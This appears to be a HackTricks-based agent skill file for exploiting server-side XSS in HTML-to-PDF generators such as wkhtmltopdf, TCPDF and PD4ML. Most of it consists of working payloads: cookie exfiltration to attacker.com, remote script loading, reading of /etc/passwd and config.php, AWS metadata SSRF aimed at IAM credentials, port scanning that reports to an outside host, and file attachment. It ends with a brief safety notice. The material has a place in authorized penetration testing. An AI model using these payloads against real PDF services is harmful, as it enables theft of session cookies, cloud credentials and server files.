Hacktricks-skills server-side-xss-pdf

Server-side XSS exploitation in dynamic PDF generation systems. Use this skill whenever you encounter PDF generation from user-controlled input, HTML-to-PDF conversion, or need to test for XSS in PDF bots. Trigger for: wkhtmltopdf, TCPDF, PDFKit, iText, FPDF vulnerabilities, blind XSS in PDFs, SSRF via PDF generators, local file read through PDF rendering, or any scenario where user input becomes HTML that gets converted to PDF.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf/SKILL.MD
source content

Server-Side XSS in Dynamic PDF Generation

Overview

When a web application generates PDFs from user-controlled input, the PDF rendering engine may interpret HTML tags and execute JavaScript. This creates a Server-Side XSS vulnerability where you can:

  • Execute arbitrary JavaScript in the PDF rendering context
  • Read local files (SSRF/file disclosure)
  • Access internal network resources
  • Extract sensitive data via blind techniques
  • Attach local files to the PDF (PD4ML)

When to Use This Skill

Use this skill when you:

  • See a feature that generates PDFs from user input (forms, URLs, templates)
  • Encounter HTML-to-PDF conversion endpoints
  • Need to test PDF generation libraries for XSS
  • Want to escalate XSS to SSRF or local file read
  • Are investigating wkhtmltopdf, TCPDF, PDFKit, iText, or FPDF vulnerabilities

Common PDF Generation Tools

ToolLanguageNotes
wkhtmltopdfCLIWebKit-based, widely vulnerable
TCPDFPHPHandles images, encryption
PDFKitNode.jsHTML/CSS to PDF
iTextJavaDigital signatures, forms
FPDFPHPSimple, lightweight
PD4MLJavaSupports attachments

Exploitation Workflow

Step 1: Discovery - Confirm XSS is Possible

Start with basic payloads to verify the PDF renderer executes JavaScript:

<!-- Basic discovery - writes visible text to PDF -->
<img src="x" onerror="document.write('XSS CONFIRMED')" />
<script>document.write('XSS WORKS: ' + window.location)</script>
<script>document.write('<iframe src="' + window.location.href + '"></iframe>')</script>

What to look for: If the PDF contains "XSS CONFIRMED" or similar output, the renderer is executing JavaScript.

Step 2: Blind Discovery - When You Can't See the PDF

If you cannot view/download the generated PDF, use blind techniques:

<!-- Load external resource - check your server logs -->
<img src="http://attacker.com/ping?xss=1" />

<!-- Exfiltrate cookies via image request -->
<img src=x onerror="location.href='http://attacker.com/?c='+document.cookie">

<!-- Cookie exfiltration via script -->
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>

<!-- Load external stylesheet -->
<link rel="stylesheet" src="http://attacker.com/steal.css" />

<!-- Meta refresh redirect -->
<meta http-equiv="refresh" content="0; url=http://attacker.com/?xss=1" />

<!-- Various media tags that trigger requests -->
<input type="image" src="http://attacker.com" />
<video src="http://attacker.com" />
<audio src="http://attacker.com" />
<svg src="http://attacker.com" />

Step 3: Path Disclosure

Discover what file paths the bot can access:

<!-- Reveal the file:// path being accessed -->
<img src="x" onerror="document.write(window.location)" />
<script>document.write(window.location)</script>

This shows you the internal path structure, which helps craft file read payloads.

Step 4: Load External Scripts

The most flexible approach - load your payload from a remote server:

<!-- Direct script inclusion -->
<script src="http://attacker.com/payload.js"></script>

<!-- Via onerror handler -->
<img src="x" onerror="document.write('<script src=\"http://attacker.com/payload.js\"></script>')" />

Advantage: You can modify

payload.js
without changing the injection point.

Step 5: Local File Read / SSRF

Read local files or access internal resources:

<!-- XMLHttpRequest to read local file (base64 encoded) -->
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");
x.send();
</script>

<!-- XMLHttpRequest with error handling -->
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>

<!-- Various iframe/embed techniques -->
<iframe src="file:///etc/passwd"></iframe>
<object data="file:///etc/passwd"></object>
<embed src="file:///etc/passwd" width="400" height="400">
<style><iframe src="file:///etc/passwd"></style>
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />

<!-- AWS metadata SSRF -->
<iframe src="http://169.254.169.254/latest/meta-data/"></iframe>

Step 6: SVG Payloads

SVG payloads can contain nested HTML and JavaScript:

<!-- SVG with foreignObject containing iframes -->
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
    <g>
        <foreignObject width="800" height="500">
            <body xmlns="http://www.w3.org/1999/xhtml">
                <iframe src="http://attacker.burpcollaborator.net" width="800" height="500"></iframe>
                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
            </body>
        </foreignObject>
    </g>
</svg>

<!-- SVG with embedded script -->
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
  <script type="text/javascript">
    alert(1);
  </script>
</svg>

Step 7: Bot Delay Testing

Determine how long the PDF bot waits before timing out:

<script>
    let time = 500;
    setInterval(()=>{
        let img = document.createElement("img");
        img.src = `https://attacker.com/ping?time=${time}ms`;
        time += 500;
    }, 500);
</script>
<img src="https://attacker.com/starting">

Monitor your server logs to see the last timestamp received.

Step 8: Port Scanning

Scan local ports from the PDF rendering context:

<script>
const checkPort = (port) => {
    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
        let img = document.createElement("img");
        img.src = `http://attacker.com/ping?port=${port}`;
    });
}

for(let i=0; i<1000; i++) {
    checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Step 9: PD4ML Attachments

If the renderer supports PD4ML, attach local files to the PDF:

<html>
  <pd4ml:attachment
    src="/etc/passwd"
    description="attachment sample"
    icon="Paperclip" />
</html>

How to extract: Open the PDF in Firefox, double-click the paperclip icon to save the attachment.

Practical Examples

Example 1: Basic PDF XSS Discovery

Scenario: A website generates PDF invoices from user-submitted HTML.

Payload:

<img src="x" onerror="document.write('XSS TEST: ' + new Date())" />

Expected result: PDF contains "XSS TEST: [timestamp]"

Example 2: Blind Cookie Exfiltration

Scenario: PDF is generated but not returned to you.

Payload:

<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>

Expected result: Your server receives a request with cookie data.

Example 3: AWS Metadata SSRF

Scenario: PDF bot runs on AWS EC2.

Payload:

<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe>

Expected result: PDF contains IAM role credentials.

Example 4: Local File Read

Scenario: PDF bot has access to

/var/www/
directory.

Payload:

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(this.responseText)};
x.open("GET","file:///var/www/config.php");
x.send();
</script>

Expected result: PDF contains config.php contents.

Tips and Tricks

  1. <script>
    tags don't always work
    - Try
    <img onerror=...>
    or other event handlers
  2. Check for encoding - The input might be HTML-encoded; try double-encoding
  3. Test multiple PDF engines - Different tools have different vulnerabilities
  4. Use Burp Collaborator - For blind XSS, set up a collaborator subdomain
  5. Monitor timing - Some bots timeout quickly; use delay testing
  6. Try file:// and http:// - Both protocols may work for SSRF
  7. Check for attachments - PD4ML and similar tools may allow file attachments

References

Safety Notice

Only use these techniques on systems you own or have explicit permission to test. Unauthorized access to computer systems is illegal.